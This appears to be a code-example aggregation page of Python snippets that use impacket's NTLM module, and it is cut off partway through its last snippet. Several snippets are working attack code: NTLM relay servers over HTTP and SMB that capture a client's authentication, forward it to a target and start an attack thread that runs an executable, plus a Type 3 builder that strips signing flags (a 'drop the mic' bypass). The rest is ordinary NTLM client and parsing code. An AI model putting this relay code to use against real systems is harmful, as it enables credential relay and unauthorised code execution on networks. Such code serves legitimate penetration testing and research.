Beispiel #1
0
        def do_local_auth(self, messageType, token, proxy):
            if messageType == 1:
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                ansFlags = 0

                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:
                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56
                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:
                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128
                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
                if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                    ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE
                if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:
                    ansFlags |= ntlm.NTLM_NEGOTIATE_OEM

                ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | \
                            ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM

                challengeMessage = ntlm.NTLMAuthChallenge()
                challengeMessage['flags'] = ansFlags
                challengeMessage['domain_name'] = ""
                challengeMessage['challenge'] = ''.join(random.choice(string.printable) for _ in range(64))
                challengeMessage['TargetInfoFields'] = ntlm.AV_PAIRS()
                challengeMessage['TargetInfoFields_len'] = 0
                challengeMessage['TargetInfoFields_max_len'] = 0
                challengeMessage['TargetInfoFields_offset'] = 40 + 16
                challengeMessage['Version'] = b'\xff' * 8
                challengeMessage['VersionLen'] = 8

                self.do_AUTHHEAD(message=b'NTLM ' + base64.b64encode(challengeMessage.getData()),proxy=proxy)
                return

            elif messageType == 3:
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('utf-16le'),
                                                authenticateMessage['user_name'].decode('utf-16le'))).upper()
                else:
                    self.authUser = ('%s/%s' % (authenticateMessage['domain_name'].decode('ascii'),
                                                authenticateMessage['user_name'].decode('ascii'))).upper()

                self.target = self.server.config.target.getTarget(identity = self.authUser)

                if self.target is None:
                    LOG.info("HTTPD(%s): Connection from %s@%s controlled, but there are no more targets left!" %
                        (self.server.server_address[1], self.authUser, self.client_address[0]))
                    self.send_not_found()
                    return

                LOG.info("HTTPD(%s): Connection from %s@%s controlled, attacking target %s://%s" % (self.authUser,
                    self.server.server_address[1], self.client_address[0], self.target.scheme, self.target.netloc))

                self.relayToHost = True
                self.do_REDIRECT()
Beispiel #2
0
    def do_ntlm_negotiate(self,client,token):
		#Since the clients all support the same operations there is no target protocol specific code needed for now

		clientChallengeMessage = client.sendNegotiate(token) 
		challengeMessage = ntlm.NTLMAuthChallenge()
		challengeMessage.fromString(clientChallengeMessage)
		return challengeMessage
Beispiel #3
0
class NTLMV2_Struct(object):
    NEGOTIATE_INFO = ntlm.NTLMAuthNegotiate()
    CHALLENGE_INFO = ntlm.NTLMAuthChallenge()
    RESPONSE_INFO = ntlm.NTLMAuthChallengeResponse()

    def getNtProofString(self):
        #
        return self.RESPONSE_INFO['ntlm'][:16]

    def getBasicData(self):
        responseServerVersion = self.RESPONSE_INFO['ntlm'][16]
        hiResponseServerVersion = self.RESPONSE_INFO['ntlm'][17]
        aTime = self.RESPONSE_INFO['ntlm'][24:32]
        clientChallenge = self.RESPONSE_INFO['ntlm'][32:40]
        serverChallenge = self.CHALLENGE_INFO['challenge']
        serverName = self.RESPONSE_INFO['ntlm'][44:]
        basicData = responseServerVersion + hiResponseServerVersion + '\x00' * 6 + aTime + clientChallenge + '\x00' * 4 + serverName
        return basicData

    def getExtended(self):
        #
        return (self.RESPONSE_INFO['flags']
                & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY ==
                ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY)

    def getExchangedKey(self):
        return self.RESPONSE_INFO['session_key']

    # Returns DOMAIN/USERNAME
    def getUser(self):
        return self.RESPONSE_INFO['domain_name'].decode("utf-16-le").encode(
            "utf-8").upper() + "/" + self.RESPONSE_INFO['user_name'].decode(
                "utf-16-le").encode("utf-8").upper()
def display_os_version(data):
    bindResp = MSRPCBindAck(str(data))
    AuthData = ntlm.NTLMAuthChallenge(bindResp['auth_data'])

    version = AuthData['Version']
    major_ver = struct.unpack('B', version[0])[0]
    minor_ver = struct.unpack('B', version[1])[0]
    build_num = struct.unpack('H', version[2:4])[0]

    print("Version %d.%d (Build %d)" % (major_ver, minor_ver, build_num))
Beispiel #5
0
    def do_ntlm_negotiate(self,client,token):
        #Since the clients all support the same operations there is no target protocol specific code needed for now

        if 'LDAP' in self.target[0]:
            #Remove the message signing flag
            #For LDAP this is required otherwise it triggers LDAP signing
            negotiateMessage = ntlm.NTLMAuthNegotiate()
            negotiateMessage.fromString(token)
            #negotiateMessage['flags'] ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
            clientChallengeMessage = client.sendNegotiate(negotiateMessage.getData())
        else:
            clientChallengeMessage = client.sendNegotiate(token)
        challengeMessage = ntlm.NTLMAuthChallenge()
        challengeMessage.fromString(clientChallengeMessage)
        return challengeMessage
Beispiel #6
0
    def send_ntlm_type1(self, http_obj, method, path, headers,
                        negotiateMessage):
        auth_headers = headers.copy()
        auth_headers['Content-Length'] = '0'
        auth_headers['Authorization'] = 'NTLM %s' % base64.b64encode(
            negotiateMessage).decode('ascii')
        http_obj.request(method, path, headers=auth_headers)
        res = http_obj.getresponse()
        res.read()

        if res.status != 401:
            raise Exception(
                'Status code returned: %d. '
                'Authentication does not seem required for url %s' %
                (res.status, path))

        if res.getheader('WWW-Authenticate') is None:
            raise Exception('No authentication requested by '
                            'the server for url %s' % path)

        if self.__auth_types == []:
            self.__auth_types = self.parse_www_authenticate(
                res.getheader('WWW-Authenticate'))

        if AUTH_NTLM not in self.__auth_types:
            # NTLM auth not supported for url
            return None, None

        try:
            serverChallengeBase64 = re.search(
                'NTLM ([a-zA-Z0-9+/]+={0,2})',
                res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
        except (IndexError, KeyError, AttributeError):
            raise Exception(
                'No NTLM challenge returned from server for url %s' % path)

        if not self.__ntlmssp_info:
            challenge = ntlm.NTLMAuthChallenge(serverChallenge)
            self.__ntlmssp_info = ntlm.AV_PAIRS(challenge['TargetInfoFields'])

        # Format: serverChallenge, reserved, ...
        return serverChallenge, None
Beispiel #7
0
        def do_GET(self):
            messageType = 0
            if self.headers.getheader('Authorization') == None:
                self.do_AUTHHEAD(message='NTLM')
                pass
            else:
                #self.do_AUTHHEAD()
                typeX = self.headers.getheader('Authorization')
                try:
                    _, blob = typeX.split('NTLM')
                    token = base64.b64decode(blob.strip())
                except:
                    self.do_AUTHHEAD()
                messageType = struct.unpack(
                    '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]

            if messageType == 1:
                if self.server.mode.upper() == 'REFLECTION':
                    self.target = self.client_address[0]
                    print "[*] Downgrading to standard security"
                    extSec = False
                else:
                    self.target = self.server.target
                    extSec = True

                try:
                    self.client = SMBClient(self.target,
                                            extended_security=True)
                    self.client.setDomainAccount(self.machineAccount,
                                                 self.machineHashes,
                                                 self.domainIp)
                    self.client.set_timeout(60)
                except Exception, e:
                    print "[!] Connection against target %s FAILED" % self.target
                    print e

                clientChallengeMessage = self.client.sendNegotiate(token)
                self.challengeMessage = ntlm.NTLMAuthChallenge()
                self.challengeMessage.fromString(clientChallengeMessage)
                self.do_AUTHHEAD(message='NTLM ' +
                                 base64.b64encode(clientChallengeMessage))
Beispiel #8
0
def smbComSessionSetupAndX(packet, packetNum, SMBCommand, questions, replies):

    # Test return code is always 0, otherwise leave before doing anything
    if packet['ErrorCode'] != 0:
        if packet['ErrorClass'] != 0x16:
            return False

    print "SMB_COM_SESSION_SETUP_ANDX ",
    try:
        if (packet['Flags1'] & smb.SMB.FLAGS1_REPLY) == 0:
            # Query
            if SMBCommand['WordCount'] == 12:
                # Extended Security
                sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
                    SMBCommand['Parameters'])
                sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
                sessionSetupData[
                    'SecurityBlobLength'] = sessionSetupParameters[
                        'SecurityBlobLength']
                sessionSetupData.fromString(SMBCommand['Data'])

                if struct.unpack('B', sessionSetupData['SecurityBlob']
                                 [0])[0] != smb.ASN1_AID:
                    # If there no GSSAPI ID, it must be an AUTH packet
                    blob = smb.SPNEGO_NegTokenResp(
                        sessionSetupData['SecurityBlob'])
                    token = blob['ResponseToken']
                else:
                    # NEGOTIATE packet
                    blob = smb.SPNEGO_NegTokenInit(
                        sessionSetupData['SecurityBlob'])
                    token = blob['MechToken']
                messageType = struct.unpack(
                    '<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
                if messageType == 0x01:
                    # NEGOTIATE_MESSAGE
                    negotiateMessage = ntlm.NTLMAuthNegotiate()
                    negotiateMessage.fromString(token)
                elif messageType == 0x03:
                    # AUTHENTICATE_MESSAGE, here we deal with authentication
                    authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                    authenticateMessage.fromString(token)

            else:
                # Standard Security
                sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
                    SMBCommand['Parameters'])
                sessionSetupData = smb.SMBSessionSetupAndX_Data()
                sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
                    'AnsiPwdLength']
                sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
                    'UnicodePwdLength']
                sessionSetupData.fromString(SMBCommand['Data'])

        else:
            # Response
            if SMBCommand['WordCount'] == 4:
                # Extended Security
                sessionResponse = SMBCommand
                sessionParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters(
                    sessionResponse['Parameters'])
                sessionData = smb.SMBSessionSetupAndX_Extended_Response_Data(
                    flags=packet['Flags2'])
                sessionData['SecurityBlobLength'] = sessionParameters[
                    'SecurityBlobLength']
                sessionData.fromString(sessionResponse['Data'])
                respToken = smb.SPNEGO_NegTokenResp(
                    sessionData['SecurityBlob'])
                if respToken.fields.has_key('ResponseToken'):
                    # Let's parse some data and keep it to ourselves in case it is asked
                    ntlmChallenge = ntlm.NTLMAuthChallenge(
                        respToken['ResponseToken'])
                    if ntlmChallenge['TargetInfoFields_len'] > 0:
                        infoFields = ntlmChallenge['TargetInfoFields']
                        av_pairs = ntlm.AV_PAIRS(
                            ntlmChallenge['TargetInfoFields']
                            [:ntlmChallenge['TargetInfoFields_len']])
                        if av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] is not None:
                            __server_name = av_pairs[
                                ntlm.NTLMSSP_AV_HOSTNAME][1].decode('utf-16le')
                        if av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] is not None:
                            __server_domain = av_pairs[
                                ntlm.NTLMSSP_AV_DOMAINNAME][1].decode(
                                    'utf-16le')

            else:
                # Standard Security
                sessionResponse = SMBCommand

                sessionParameters = smb.SMBSessionSetupAndXResponse_Parameters(
                    sessionResponse['Parameters'])
                sessionData = smb.SMBSessionSetupAndXResponse_Data(
                    flags=packet['Flags2'], data=sessionResponse['Data'])
    except Exception, e:
        print "ERROR: %s" % e
        print "Command: 0x%x" % packet['Command']
        print "Packet: %d %r" % (packetNum, packet.getData())
        return True
Beispiel #9
0
def mod_getNTLMSSPType3(type1,
                        type2,
                        user,
                        password,
                        domain,
                        lmhash='',
                        nthash='',
                        use_ntlmv2=USE_NTLMv2):

    # Safety check in case somebody sent password = None.. That's not allowed. Setting it to '' and hope for the best.
    if password is None:
        password = ''

    # Let's do some encoding checks before moving on. Kind of dirty, but found effective when dealing with
    # international characters.
    import sys
    encoding = sys.getfilesystemencoding()
    if encoding is not None:
        try:
            user.encode('utf-16le')
        except:
            user = user.decode(encoding)
        try:
            password.encode('utf-16le')
        except:
            password = password.decode(encoding)
        try:
            domain.encode('utf-16le')
        except:
            domain = user.decode(encoding)

    ntlmChallenge = ntlm.NTLMAuthChallenge(type2)

    # Let's start with the original flags sent in the type1 message
    responseFlags = type1['flags']

    # Token received and parsed. Depending on the authentication
    # method we will create a valid ChallengeResponse
    ntlmChallengeResponse = ntlm.NTLMAuthChallengeResponse(
        user, password, ntlmChallenge['challenge'])

    clientChallenge = ntlm.b("".join([
        random.choice(string.digits + string.ascii_letters) for _ in range(8)
    ]))

    serverName = ntlmChallenge['TargetInfoFields']

    ntResponse, lmResponse, sessionBaseKey = ntlm.computeResponse(
        ntlmChallenge['flags'], ntlmChallenge['challenge'], clientChallenge,
        serverName, domain, user, password, lmhash, nthash, use_ntlmv2)

    # Let's check the return flags
    if (ntlmChallenge['flags']
            & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY) == 0:
        # No extended session security, taking it out
        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_128) == 0:
        # No support for 128 key len, taking it out
        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_128
    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH) == 0:
        # No key exchange supported, taking it out
        responseFlags &= 0xffffffff ^ ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH

    # drop the mic need to unset these flags
    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SEAL) != 0:
        responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SEAL
    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_SIGN) != 0:
        responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_SIGN
    if (ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN) != 0:
        responseFlags ^= ntlm.NTLMSSP_NEGOTIATE_ALWAYS_SIGN

    keyExchangeKey = ntlm.KXKEY(ntlmChallenge['flags'], sessionBaseKey,
                                lmResponse, ntlmChallenge['challenge'],
                                password, lmhash, nthash, use_ntlmv2)

    # Special case for anonymous login
    if user == '' and password == '' and lmhash == '' and nthash == '':
        keyExchangeKey = b'\x00' * 16

    if ntlmChallenge['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
        exportedSessionKey = ntlm.b("".join([
            random.choice(string.digits + string.ascii_letters)
            for _ in range(16)
        ]))
        encryptedRandomSessionKey = ntlm.generateEncryptedSessionKey(
            keyExchangeKey, exportedSessionKey)
    else:
        encryptedRandomSessionKey = None
        exportedSessionKey = keyExchangeKey

    ntlmChallengeResponse['flags'] = responseFlags
    ntlmChallengeResponse['domain_name'] = domain.encode('utf-16le')
    ntlmChallengeResponse['host_name'] = type1.getWorkstation().encode(
        'utf-16le')
    if lmResponse == '':
        ntlmChallengeResponse['lanman'] = b'\x00'
    else:
        ntlmChallengeResponse['lanman'] = lmResponse
    ntlmChallengeResponse['ntlm'] = ntResponse
    if encryptedRandomSessionKey is not None:
        ntlmChallengeResponse['session_key'] = encryptedRandomSessionKey

    return ntlmChallengeResponse, exportedSessionKey
    def SmbSessionSetupAndX(self, connId, smbServer, SMBCommand, recvPacket):

        connData = smbServer.getConnectionData(connId, checkStatus = False)
        #############################################################
        # SMBRelay
        smbData = smbServer.getConnectionData('SMBRelay', False)
        #############################################################

        respSMBCommand = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)

        if connData['_dialects_parameters']['Capabilities'] & smb.SMB.CAP_EXTENDED_SECURITY:
            # Extended security. Here we deal with all SPNEGO stuff
            respParameters = smb.SMBSessionSetupAndX_Extended_Response_Parameters()
            respData       = smb.SMBSessionSetupAndX_Extended_Response_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
            sessionSetupData['SecurityBlobLength'] = sessionSetupParameters['SecurityBlobLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']

            if struct.unpack('B',sessionSetupData['SecurityBlob'][0])[0] != smb.ASN1_AID:
               # If there no GSSAPI ID, it must be an AUTH packet
               blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
               token = blob['ResponseToken']
            else:
               # NEGOTIATE packet
               blob =  SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
               token = blob['MechToken']

            # Here we only handle NTLMSSP, depending on what stage of the 
            # authentication we are, we act on it
            messageType = struct.unpack('<L',token[len('NTLMSSP\x00'):len('NTLMSSP\x00')+4])[0]

            if messageType == 0x01:
                # NEGOTIATE_MESSAGE
                negotiateMessage = ntlm.NTLMAuthNegotiate()
                negotiateMessage.fromString(token)
                # Let's store it in the connection data
                connData['NEGOTIATE_MESSAGE'] = negotiateMessage

                #############################################################
                # SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client. 
                # Let's send it to the target server and send the answer back to the client.
                smbClient = smbData[self.target]['SMBClient']
                clientChallengeMessage = smbClient.sendNegotiate(token) 
                challengeMessage = ntlm.NTLMAuthChallenge()
                challengeMessage.fromString(clientChallengeMessage)
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'  
                respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = str(challengeMessage)

                # Setting the packet to STATUS_MORE_PROCESSING
                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                # Let's set up an UID for this connection and store it 
                # in the connection's data
                # Picking a fixed value
                # TODO: Manage more UIDs for the same session
                connData['Uid'] = 10
                # Let's store it in the connection data
                connData['CHALLENGE_MESSAGE'] = challengeMessage

            elif messageType == 0x03:
                # AUTHENTICATE_MESSAGE, here we deal with authentication
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                #############################################################
                # SMBRelay: Ok, so now the have the Auth token, let's send it
                # back to the target system and hope for the best.
                smbClient = smbData[self.target]['SMBClient']
                authData = sessionSetupData['SecurityBlob']
                authenticateMessage = ntlm.NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)
                if authenticateMessage['user_name'] != '':
                    clientResponse, errorCode = smbClient.sendAuth(sessionSetupData['SecurityBlob'])                
                else:
                    # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                    errorCode = STATUS_ACCESS_DENIED

                if errorCode != STATUS_SUCCESS:
                    # Let's return what the target returned, hope the client connects back again
                    packet = smb.NewSMBPacket()
                    packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                    packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 
                    packet['Command'] = recvPacket['Command']
                    packet['Pid']     = recvPacket['Pid']
                    packet['Tid']     = recvPacket['Tid']
                    packet['Mid']     = recvPacket['Mid']
                    packet['Uid']     = recvPacket['Uid']
                    packet['Data']    = '\x00\x00\x00'
                    packet['ErrorCode']   = errorCode >> 16
                    packet['ErrorClass']  = errorCode & 0xff
                    # Reset the UID
                    smbClient.setUid(0)
                    print "[!] Authenticating against %s as %s\%s FAILED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name'])
                    #del (smbData[self.target])
                    return None, [packet], errorCode
                else:
                    # We have a session, create a thread and do whatever we want
                    print "[*] Authenticating against %s as %s\%s SUCCEED" % (self.target,authenticateMessage['domain_name'], authenticateMessage['user_name'])
                    del (smbData[self.target])
                    clientThread = doAttack(smbClient,self.exeFile)
                    clientThread.start()
                    # Now continue with the server
                #############################################################

                respToken = SPNEGO_NegTokenResp()
                # accept-completed
                respToken['NegResult'] = '\x00'

                # Status SUCCESS
                errorCode = STATUS_SUCCESS
                # Let's store it in the connection data
                connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
            else:
                raise("Unknown NTLMSSP MessageType %d" % messageType)

            respParameters['SecurityBlobLength'] = len(respToken)

            respData['SecurityBlobLength'] = respParameters['SecurityBlobLength'] 
            respData['SecurityBlob']       = respToken.getData()

        else:
            # Process Standard Security
            respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
            respData       = smb.SMBSessionSetupAndXResponse_Data()
            sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(SMBCommand['Parameters'])
            sessionSetupData = smb.SMBSessionSetupAndX_Data()
            sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
            sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
            sessionSetupData.fromString(SMBCommand['Data'])
            connData['Capabilities'] = sessionSetupParameters['Capabilities']
            #############################################################
            # SMBRelay
            smbClient = smbData[self.target]['SMBClient']
            if sessionSetupData['Account'] != '':
                clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'], sessionSetupData['PrimaryDomain'], sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
            else:
                # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
                errorCode = STATUS_ACCESS_DENIED

            if errorCode != STATUS_SUCCESS:
                # Let's return what the target returned, hope the client connects back again
                packet = smb.NewSMBPacket()
                packet['Flags1']  = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
                packet['Flags2']  = smb.SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY 
                packet['Command'] = recvPacket['Command']
                packet['Pid']     = recvPacket['Pid']
                packet['Tid']     = recvPacket['Tid']
                packet['Mid']     = recvPacket['Mid']
                packet['Uid']     = recvPacket['Uid']
                packet['Data']    = '\x00\x00\x00'
                packet['ErrorCode']   = errorCode >> 16
                packet['ErrorClass']  = errorCode & 0xff
                # Reset the UID
                smbClient.setUid(0)
                return None, [packet], errorCode
                # Now continue with the server
            else:
                # We have a session, create a thread and do whatever we want
                del (smbData[self.target])
                clientThread = doAttack(smbClient,self.exeFile)
                clientThread.start()
                # Remove the target server from our connection list, the work is done
                # Now continue with the server

            #############################################################

            # Do the verification here, for just now we grant access
            # TODO: Manage more UIDs for the same session
            errorCode = STATUS_SUCCESS
            connData['Uid'] = 10
            respParameters['Action'] = 0

        respData['NativeOS']     = smbServer.getServerOS()
        respData['NativeLanMan'] = smbServer.getServerOS()
        respSMBCommand['Parameters'] = respParameters
        respSMBCommand['Data']       = respData 

        # From now on, the client can ask for other commands
        connData['Authenticated'] = True
        #############################################################
        # SMBRelay
        smbServer.setConnectionData('SMBRelay', smbData)
        #############################################################
        smbServer.setConnectionData(connId, connData)

        return [respSMBCommand], None, errorCode
    def check_rdp(host, username, password, domain, hashes=None):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = a2b_hex(lmhash)
            nthash = a2b_hex(nthash)

        else:
            lmhash = ''
            nthash = ''

        tpkt = TPKT()
        tpdu = TPDU()
        rdp_neg = RDP_NEG_REQ()
        rdp_neg['Type'] = TYPE_RDP_NEG_REQ
        rdp_neg['requestedProtocols'] = PROTOCOL_HYBRID | PROTOCOL_SSL
        tpdu['VariablePart'] = str(rdp_neg)
        tpdu['Code'] = TDPU_CONNECTION_REQUEST
        tpkt['TPDU'] = str(tpdu)

        s = socket.socket()
        s.connect((host, 3389))
        s.sendall(str(tpkt))
        pkt = s.recv(8192)
        tpkt.fromString(pkt)
        tpdu.fromString(tpkt['TPDU'])
        cr_tpdu = CR_TPDU(tpdu['VariablePart'])
        if cr_tpdu['Type'] == TYPE_RDP_NEG_FAILURE:
            rdp_failure = RDP_NEG_FAILURE(tpdu['VariablePart'])
            rdp_failure.dump()
            logging.error(
                "Server doesn't support PROTOCOL_HYBRID, hence we can't use CredSSP to check credentials"
            )
            return
        else:
            rdp_neg.fromString(tpdu['VariablePart'])

        # Since we were accepted to talk PROTOCOL_HYBRID, below is its implementation

        # 1. The CredSSP client and CredSSP server first complete the TLS handshake,
        # as specified in [RFC2246]. After the handshake is complete, all subsequent
        # CredSSP Protocol messages are encrypted by the TLS channel.
        # The CredSSP Protocol does not extend the TLS wire protocol. As part of the TLS
        # handshake, the CredSSP server does not request the client's X.509 certificate
        # (thus far, the client is anonymous). Also, the CredSSP Protocol does not require
        # the client to have a commonly trusted certification authority root with the
        # CredSSP server. Thus, the CredSSP server MAY use, for example,
        # a self-signed X.509 certificate.

        # Switching to TLS now
        ctx = SSL.Context(SSL.TLSv1_METHOD)
        ctx.set_cipher_list('RC4')
        tls = SSL.Connection(ctx, s)
        tls.set_connect_state()
        tls.do_handshake()

        # If you want to use Python internal ssl, uncomment this and comment
        # the previous lines
        #tls = ssl.wrap_socket(s, ssl_version=ssl.PROTOCOL_TLSv1, ciphers='RC4')

        # 2. Over the encrypted TLS channel, the SPNEGO handshake between the client
        # and server completes mutual authentication and establishes an encryption key
        # that is used by the SPNEGO confidentiality services, as specified in [RFC4178].
        # All SPNEGO tokens as well as the underlying encryption algorithms are opaque to
        # the calling application (the CredSSP client and CredSSP server).
        # The wire protocol for SPNEGO is specified in [MS-SPNG].
        # The SPNEGO tokens exchanged between the client and the server are encapsulated
        # in the negoTokens field of the TSRequest structure. Both the client and the
        # server use this structure as many times as necessary to complete the SPNEGO
        # exchange.<9>
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure by the client and server; the OPTIONAL pubKeyAuth
        # field is omitted by the client unless the client is sending the last SPNEGO token.
        # If the client is sending the last SPNEGO token, the TSRequest structure MUST have
        # both the negoToken and the pubKeyAuth fields filled in.

        # NTLMSSP stuff
        auth = ntlm.getNTLMSSPType1('', '', True, use_ntlmv2=True)

        ts_request = TSRequest()
        ts_request['NegoData'] = str(auth)

        tls.send(ts_request.getData())
        buff = tls.recv(4096)
        ts_request.fromString(buff)

        # 3. The client encrypts the public key it received from the server (contained
        # in the X.509 certificate) in the TLS handshake from step 1, by using the
        # confidentiality support of SPNEGO. The public key that is encrypted is the
        # ASN.1-encoded SubjectPublicKey sub-field of SubjectPublicKeyInfo from the X.509
        # certificate, as specified in [RFC3280] section 4.1. The encrypted key is
        # encapsulated in the pubKeyAuth field of the TSRequest structure and is sent over
        # the TLS channel to the server.
        #
        # Note During this phase of the protocol, the OPTIONAL authInfo field is omitted
        # from the TSRequest structure; the client MUST send its last SPNEGO token to the
        # server in the negoTokens field (see step 2) along with the encrypted public key
        # in the pubKeyAuth field.

        # Last SPNEGO token calculation
        ntlmChallenge = ntlm.NTLMAuthChallenge(ts_request['NegoData'])
        type3, exportedSessionKey = ntlm.getNTLMSSPType3(
            auth,
            ts_request['NegoData'],
            username,
            password,
            domain,
            lmhash,
            nthash,
            use_ntlmv2=True)

        # Get server public key
        server_cert = tls.get_peer_certificate()
        pkey = server_cert.get_pubkey()
        dump = crypto.dump_privatekey(crypto.FILETYPE_ASN1, pkey)

        # Fix up due to PyOpenSSL lack for exporting public keys
        dump = dump[7:]
        dump = '\x30' + asn1encode(dump)

        cipher = SPNEGOCipher(type3['flags'], exportedSessionKey)
        signature, cripted_key = cipher.encrypt(dump)
        ts_request['NegoData'] = str(type3)
        ts_request['pubKeyAuth'] = str(signature) + cripted_key

        try:
            # Sending the Type 3 NTLM blob
            tls.send(ts_request.getData())
            # The other end is waiting for the pubKeyAuth field, but looks like it's
            # not needed to check whether authentication worked.
            # If auth is unsuccessful, it throws an exception with the previous send().
            # If auth is successful, the server waits for the pubKeyAuth and doesn't answer
            # anything. So, I'm sending garbage so the server returns an error.
            # Luckily, it's a different error so we can determine whether or not auth worked ;)
            buff = tls.recv(1024)
        except Exception, err:
            if str(err).find("denied") > 0:
                print "[*] Access Denied"
            else:
                logging.error(err)
            return
Beispiel #12
0
    def create_channel(self, method, headers):
        if self._rpcProxyUrl.scheme == 'http':
            self.__channels[method] = HTTPConnection(self._rpcProxyUrl.netloc)
        else:
            try:
                uv_context = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
                self.__channels[method] = HTTPSConnection(
                    self._rpcProxyUrl.netloc, context=uv_context)
            except AttributeError:
                self.__channels[method] = HTTPSConnection(
                    self._rpcProxyUrl.netloc)

        auth = ntlm.getNTLMSSPType1(domain=self.__domain)
        auth_headers = headers.copy()
        auth_headers['Content-Length'] = '0'
        auth_headers['Authorization'] = b'NTLM ' + base64.b64encode(
            auth.getData())

        self.__channels[method].request(method,
                                        self._rpcProxyUrl.path,
                                        headers=auth_headers)

        res = self.__channels[method].getresponse()
        res.read()

        if res.status != 401:
            raise RPCProxyClientException(
                'Status code returned: %d. Authentication does not seem required for url %s'
                % (res.status, self._rpcProxyUrl.path))

        if res.getheader('WWW-Authenticate') is None:
            raise RPCProxyClientException(
                'No authentication requested by the server for url %s' %
                self._rpcProxyUrl.path)

        if 'NTLM' not in res.getheader('WWW-Authenticate'):
            raise RPCProxyClientException(
                'NTLM Auth not offered by URL, offered protocols: %s' %
                res.getheader('WWW-Authenticate'))

        try:
            serverChallengeBase64 = re.search(
                'NTLM ([a-zA-Z0-9+/]+={0,2})',
                res.getheader('WWW-Authenticate')).group(1)
            serverChallenge = base64.b64decode(serverChallengeBase64)
        except (IndexError, KeyError, AttributeError):
            raise RPCProxyClientException(
